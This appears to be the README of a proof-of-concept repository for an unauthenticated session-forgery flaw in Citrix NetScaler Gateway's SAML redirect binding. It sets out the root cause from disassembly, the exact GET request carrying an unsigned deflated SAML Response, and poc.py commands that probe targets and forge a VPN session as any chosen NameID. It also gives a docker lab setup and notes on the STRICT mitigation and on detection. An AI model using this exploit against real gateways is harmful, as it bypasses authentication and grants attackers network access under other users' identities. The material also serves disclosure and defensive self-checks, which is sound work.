通过 GET /cgi/samlauth 上的 SAML HTTP-Redirect 绑定处理器,可在 Citrix NetScaler ADC / NetScaler Gateway 上实现未认证的会话伪造。CVSS 4.0 9.3,CWE-288。公告 CTX696939(2026-08-19),无缓解措施。原始报告的功劳归于 Samarth Vashisht(摩根大通渗透测试团队);本仓库中的根因分析和代码均为我自己的成果。
受影响版本:14.1 早于 14.1-73.32,13.1 早于 13.1-63.21。这两个构建版本已修复。
在数据包引擎 nsppe 中,两个问题同时出现。
1. redirect 绑定在清除 strict 标志的情况下解析断言。
SAML 响应解析器(sub_b40a50)的所有调用点都会在调用前设置一个“strict”参数。POST 绑定路径(浏览器实际用于 SAML 响应的方式)会将其设置为已启用。而 HTTP-Redirect 绑定路径则不会:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict 关闭
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- 解析器
这就是 CWE-288 意义上的替代路径。相同的请求面,更弱的解析器调用方式,任何能够发送带有 SAMLResponse 查询参数的 GET 请求的人都可以触达。
2. 未签名断言门控将默认配置视为 ALLOW。
在 redirect 处理器内部,当请求不携带 SigAlg/Signature 时,rejectUnsignedAssertion 的配置字会被比较并分支跳转,如下所示:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- 跳转到 ACCEPT 路径
配置字的值:2 = rejectUnsignedAssertion ON(默认值),3 = STRICT。je 将 2 发送到接受路径。只有 STRICT 才会到达拒绝日志行:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
因此,在默认配置的机器上,交给 redirect 绑定的未签名断言会被解析(strict 关闭),通过未签名门控(ON 被误读为允许),然后执行常规的解析后步骤:针对 SAML action 配置进行 issuer/audience/subject 检查,然后根据攻击者提供的字段构建会话。整条路径上没有任何摘要验证或 RSA 验证。POST 绑定不受同样方式的影响——它会将 strict 传递给解析器并正确拒绝未签名输入。
根据公告的前置条件,并已对照二进制文件确认:从 14.1-43.56 / 13.1-61.28 起的构建版本需要将 SAML action 绑定到 Gateway 或 AAA vserver(标准的 SAML SSO 配置,因此大多数 SAML 部署都符合条件)。更早的构建版本仅凭 vserver 即可注册该路由。
一次 GET 请求。构建一个在任何位置都不含 <ds:Signature> 的 SAML Response,进行 DEFLATE + base64 编码,然后发送:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
必须与目标 SAML action 配置匹配的值:断言 Issuer = IdP 实体 ID,Audience = SP 实体 ID,Recipient/Destination = ACS URL,在事务性配置中还需要来自实时 AuthnRequest 的 InResponseTo。--mint 会遍历网关自身的预认证登录重定向以捕获这些值(Location 头中的 SAMLRequest 携带了所有这些值)。返回 302 到 /vpn/ 并附带真实的 NSC_AAAC / NSC_TASS cookie(而非 xyz 删除标记),即为以您放入的任何 NameID 身份伪造的会话。
pip install requests
# 端点是否存在,以及 GET 绑定是否处理 SAMLResponse
python3 poc.py https://vpn.target.com --check-only
# 非侵入式配置探测:使用故意错误的 issuer 的未签名断言。
# 'Malformed Assertion' (0xe0005) -> STRICT,不易受此向量攻击
# issuer/policy 错误 (0xe0012) -> 默认配置,易受攻击;不会铸造会话
python3 poc.py https://vpn.target.com --safe-oracle
# 完整链路(仅限授权目标):铸造 SP 链路,伪造,验证一次
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle 的存在是因为两种配置在发生任何会话形态的操作之前会返回不同的错误页面,这也是防御者无需接触真实 IdP 即可进行自检的方式。请针对您自己的设备运行。
demo/demo.gif(另有 demo.mp4,以及如果您想用 asciinema play 播放的 demo/demo.cast):来自 docker 镜像的受影响构建版本、word-2 默认配置、从随附的 nsppe 反汇编出的两个二进制分支,以及 PoC 端点检查。最后一步——会话签发——需要获得许可的 VPX——CPX Express 在许可证层面拒绝 AAA 会话——这正是 lab/record-demo.sh 在您拥有 VPX 时所捕获的内容。
lab/setup-cpx.sh 在 docker 中启动精确的受影响构建版本:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
并配置一个带有 rejectUnsignedAssertion ON 的 SAML action、一个策略和一个 Gateway vserver。两个通过艰难方式学到的注意事项:
/cgi/samlauth 服务,但每个请求都会落在 480 Login exceeds maximum allowed users 上。足以复现配置 + 端点 + 二进制状态,但无法获得最终的会话 cookie。lab/record-demo.sh 会录制完整的 asciinema 序列:版本、配置、safe-oracle、伪造会话、STRICT 阴性对照。上述随附二进制的偏移量直接来自该镜像:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT 可在易受攻击的路径上阻止 redirect 向量(它会使配置字变为 3)。请注意,STRICT 还会改变设备对您的 IdP 的期望(Response + Assertion 签名要求),这大概就是 Citrix 将 ON 作为默认值以及“只需设置 STRICT”并非对所有人都能作为干净缓解措施的原因。/cgi/samlauth 的 GET 请求携带 SAMLResponse(redirect 绑定响应在现实中很少见——浏览器使用 POST)、未签名载荷,以及上述错误页面差异。仅限授权的安全测试:您自己的实验环境,或您已获授权项目的明确范围内目标。作者与 Citrix 或原始报告团队无关联。
MIT 许可证,详见 LICENSE。